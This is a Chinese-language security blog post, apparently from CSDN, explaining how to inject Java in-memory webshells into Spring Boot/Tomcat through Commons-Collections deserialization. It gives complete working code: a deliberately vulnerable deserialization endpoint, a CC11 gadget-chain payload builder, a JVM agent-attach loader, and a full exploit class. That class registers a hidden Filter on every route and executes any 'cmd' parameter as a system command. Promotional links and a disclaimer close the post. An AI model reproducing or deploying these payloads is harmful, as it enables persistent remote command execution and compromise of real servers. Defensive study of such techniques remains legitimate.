0x01 前提概述
通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图
结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
0x02 搭建反序列化环境
反序列化就用CC链来打,引入springboot和commons-collections还有javassist库的依赖
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-autoconfigure</artifactId> <version>2.5.6</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>2.5.6</version> <scope>compile</scope> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> |
编写一个控制器类,实现一个反序列化入口的路由
@RequestMapping("/attack") @ResponseBody public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException { byte[] decode = Base64.getDecoder().decode(data); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); byteArrayOutputStream.write(decode); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); return "Success"; } |
编写springboot的启动程序
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.ComponentScan; @SpringBootApplication @ComponentScan("com.controller") public class Application { public static void main(String[] args){ SpringApplication.run(Application.class); } } |
注入反序列化的话需要类加载,而cc2,cc3和cc11最终都是通过类加载来执行恶意代码,在本篇文章中就用cc11来作例子,cc11的代码逻辑不在分析,可以先看看网上的分析文章。
最后贴上CC1的代码:
package com.serialize; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class CC11SerializeTest { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Field field; TemplatesImpl templates = new TemplatesImpl(); byte[] evil = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\test.class")); field = TemplatesImpl.class.getDeclaredField("_name"); field.setAccessible(true); field.set(templates, "1234"); field = TemplatesImpl.class.getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates, new byte[][]{evil}); field = TemplatesImpl.class.getDeclaredField("_tfactory"); field.setAccessible(true); field.set(templates, new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer); Map tmp = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates); HashMap<Object, Object>hashMap = new HashMap<Object, Object>(); hashMap.put(tiedMapEntry, 1); field = TiedMapEntry.class.getDeclaredField("map"); field.setAccessible(true); field.set(tiedMapEntry, lazyMap); // serialize(hashMap); // unserialize("web.ser"); ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(hashMap); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); } public static void serialize(Object obj) throws IOException { ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("web.ser")); out_obj1.writeObject(obj); out_obj1.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename)); Object ois = obj2.readObject(); return ois; } } |
0x03 反序列化注入内存马分析
注入Agent内存马
注入Agent内存马需要加载Agent的jar包,通过 VirtualMachine 类启动后加载Agent.jar,需要满足两个前提操作
VirtualMachine.attach方法获取正在运行的jvm的进程号
loadAgent 方法动态注册代理程序Agent
利用反序列化打的时候对于像 VirtualMachine 的类不能直接new,获取一个 URLClassLoader 类加载器对VirtualMachine 类和 MyVirtualMachineDescriptor 进行类加载
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar"); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); |
jvm运行的进程号不能直接通过Jps -l获取
VirtualMachine 类有一个list 方法,它的目的是列出当前系统中所有正在运行的 Java 虚拟机(JVM)进程的描述符
用if条件判断当前运行的JVM,然后获取进程号,通过反射修改id属性,最后利用反射调用 loadAgent 方法动态注册Agent的jar包,最终的执行类为
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.File; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.List; public class test extends AbstractTranslet { static { try { System.out.println("Hello"); String path = "D:\\javaweb\\java\\java-agentShell\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar"; File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar"); URL url = toolsPath.toURI().toURL(); URLClassLoader classLoader = new URLClassLoader(new URL[] { url }); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null); List list = (List)listMethod.invoke(MyVirtualMachine, null); System.out.println("Running JVM list ..."); for (int i = 0; i < list.size(); i++) { Object o = list.get(i); Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null); String name = (String)displayName.invoke(o, null); if (name.contains("Application")) { Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null); String id = (String)getId.invoke(o, null); System.out.println("id >>> " + id); Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[] { String.class }); Object vm = attach.invoke(o, new Object[] { id }); Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[] { String.class }); loadAgent.invoke(vm, new Object[] { path }); Method detach = MyVirtualMachine.getDeclaredMethod("detach", null); detach.invoke(vm, null); System.out.println("Agent.jar Inject Success !!"); break; } } } catch (Exception e) { e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } |
在CC链中动态加载字节码,需要将恶意类继承 AbstractTranslet 接口
启动springboot程序,访问attack路由
将序列化的base64编码打进去
Agent代理是通过字节码修改Filter,添加恶意代码
通过控制台日志可以看到已经修改成功了
内存马注入成功
任何路由都能获得命令回显。
获取request和response注入内存马
jsp文件中内置了 request 和 response 能够直接获取,可以在 response 写我们回显的内容。在通过反序列化注入的时候,我们需要通过一些手段获取到这两个类。
在ApplicationFilterChain类中定义了可以储存 request 和 response 的两个静态变量,分别为lastServicedRequest和lastServicedResponse
全局搜索这两个变量,发现一处重要的代码逻辑
如果 WRAP_SAME_OBJECT 是为true,lastServicedRequest 和 lastServicedResponse这两个静态变量就将request和response 放进去,在命令执行的时候就可以将执行结果写入回显中了。
首先修改 WRAP_SAME_OBJECT 属性,在 ApplicationDispatcher 类里
final字段修饰,不可更改,首先通过反射将 final 字段移除,final 字段通常会存储在 java.lang.reflect.Field类中的modifiers字段,
接着就是对lastServicedRequest 和 lastServicedResponse这两个字段初始化,初始化之后这两个字段就会储存Request和Response这两个对象,获取回显应该没太大问题。
剩下的就是动态注册Filter内存马了,Filter内存马之前分析过,在这篇文章就结合木头师傅文章里的EXP说一下流程
首先编写一个恶意的注入类,需要继承 AbstractTranslet 和 Filter 两大接口,前者是为了打CC链时能成功加载字节码,后者是为了动态注入一个恶意的Filter、
定义好参数以及路由
接着获取 StandardContext 上下文,这是必须的,使用doFilter方法将我们自定义的过滤器添加进去
在这个方法里
this.context.getState() 在运行时返回的state已经是 LifecycleState.STARTED 了,所以直接就抛异常了,filter根本就添加不进去。我们可以在filter添加之前修改state为 LifecycleState.STARTING_PREP ,使其跳过if,添加完成后,再将state恢复成 LifecycleState.STARTED。对应修改的代码
filter添加完成后,需要执行 filterStart 方法初始化过滤器,执行的代码
贴上完整的EXP
package com.serialize.javaagent; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; /** * @author threedr3am */ public class TomcatInject extends AbstractTranslet implements Filter { /** * webshell命令参数名 */ private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "Xilitter"; static { try { ServletContext servletContext = getServletContext(); if (servletContext != null){ Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext); Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx); if (standardContext != null){ // 这样设置不会抛出报错 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); Filter myFilter =new TomcatInject(); // 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter); // 进行一些简单的设置 filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); // 设置基本的 url pattern filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"}); // 将服务重新修改回来,不然的话服务会无法正常进行 if (stateField != null){ stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } // 在设置之后我们需要 调用 filterstart if (standardContext != null){ // 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext,null); /** * 将我们的 filtermap 插入到最前面 */ Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } //把filter插到第一位 Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } } catch (Exception e) { e.printStackTrace(); } } private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; /*shell注入,前提需要能拿到request、response等*/ Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); //不为空则意味着第一次反序列化的准备工作已成功 if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } //如果不能去到request,则换一种方式尝试获取 //spring获取法1 if (servletRequest == null) { try { c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) {} } if (servletRequest != null) return servletRequest.getServletContext(); //spring获取法2 try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) {} return null; } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } |
启动springboot,用CC11的链将恶意类打进去
日志打印出信息,内存马注入成功
能够任意路由执行命令
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。